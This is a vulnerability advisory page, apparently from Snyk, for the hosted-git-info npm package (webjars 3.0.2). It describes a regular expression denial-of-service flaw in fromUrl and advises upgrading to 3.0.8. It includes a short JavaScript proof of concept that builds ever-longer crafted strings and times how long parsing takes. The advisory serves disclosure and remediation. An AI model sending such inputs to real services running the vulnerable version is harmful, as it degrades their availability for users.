org.webjars.npm:hosted-git-info@3.0.2 vulnerabilities

  • latest version

    4.1.0

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:hosted-git-info package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

org.webjars.npm:hosted-git-info is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.

PoC by Yeting Li

var hostedGitInfo = require("hosted-git-info")
function build_attack(n) {
    var ret = "a:"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }
    return ret + "!";
}

for(var i = 1; i <= 5000000; i++) {
   if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       var parsedInfo = hostedGitInfo.fromUrl(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade org.webjars.npm:hosted-git-info to version 3.0.8 or higher.

[0,3.0.8)